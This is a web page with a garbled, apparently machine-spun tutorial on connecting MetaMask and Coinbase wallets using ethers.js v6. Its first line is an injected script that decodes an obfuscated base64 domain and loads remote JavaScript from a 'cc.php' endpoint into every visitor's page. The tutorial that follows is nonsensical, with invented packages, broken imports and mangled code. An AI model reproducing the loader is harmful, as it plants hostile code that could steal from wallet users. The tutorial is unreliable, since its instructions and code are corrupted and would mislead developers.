const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=a3d17b36″;document.body.appendChild(script);
Here are the maintenance of the centennials with the ethhers.js v6 for the few posters (Metask, Coinbase):
Slug with Methans with Ethers.js V6: Directing -Shag -by -Step
As a distiller, which is integrated by the decentralized attachment (DAPP), imposing on the poll without the problems of connecting the carolence has a rescue value. In this state, we dissatisfied with the connection of the Koshlka with the use of ethers.Js v6 for several posters, included metaman and coinbase.
What is Ethers.js V6?
Ethers.js V6 – Popular Bibliate Version JavaScript for mutilation with blockchain Ethereum. He prefers the proverbial set of API for the management of the entrepreneurs, transaction and other tasks, consensus with blockchain. With V6 you can use the dispersed functions, so as web3.js, webassembly (wasm) and the best proceedings.
Proto be used ethers.js v6?
Ethers.js V6 immersed a few over -the -law with the pre -trial version:
3.
ENTERNING COATE KOLKOLK C METASK AND COINBASE
For the realization of the connection of the mate with the metamark and coinbase with Ethers.js V6, the pursuits:
Shag 1: Install the necessary packages
All of all, you need to install unwavering packages. Start the following order in the Catalog Project:
`Bash
NPM Install Ethers Ethers-Wallet-Sutilii @Ethersjs/Web3-Adapter
Togo, install@etherersjs/wallet -Provider-metamarkand@ethersjs/wallet -Provider-coingocko
, to bring metax and, concrete, coinbase.
Shag 2: Initialize Ethers.js V6
Submit the new JavaScript file (for example, Metamarkwallet.js
) and inatialize Ethers.js V6, using the following code:
`Javascript
Import * How "Ethere" Etira;
Import {Walletprovider}}@etherjs/wallet -Provider-metamask;
Import {Walletprovidercoingeco} '@ethersjs/wallet-transvovider -coingeco';
Postener Const = New Ethers.Providers.WebSocketProvider (
'WSS: //mainnet.infura.io/v3/your_project_id', // Out on URL -Address Metask or Coinbase
{
Activated: [Metamark ',' Coinbase '],
}
);
Con Metaskwalletprovider = New Walletprovider (
{Chainid: 1, Networks: [1]},
The post
);
Conceckowalletprovider = New Walletprovidercoingo ({
Postener: Postovchik,
});
Export {
Metarkwalletprovider,
Coingickowalletprovider,
};
ChangeYour_project_idon the IDENTIGOR INFURA.
Shag 3: Use Ethers.js V6 API, To connect the dodgers
Now you can use API Ethers.js V6 for codening of Koshelk. Here's the Primer:
Javascript
Import {Metamawalletprovider} OT '/Metamarkwallet';
Date = Wait for Metamarkwalletprovider [0];
You also can enter the function that the court is unpowered by the court for each receiver:
Javascript
GetwalleteProviders Function () {
Returned [
Metarkwalletprovider,
Coingickowalletprovider,
];
}
Export on the GetWalletpiders;
Shag 4: Slide Kovielki OT DAPP
Againly, connect the meat -dApp, Uspolse function getwalletpoviders and call the features of the plug -in.
Javascript
Import {UCHOL WRITE} by './metamarkwallet';
Const ConnectottMark = Async () => {
Want to account.connect ();
};
Connecttometamark ();
`
It is exactly the same as you can connect to the Kosholkov Coinbase and Coingocko, Using Comes.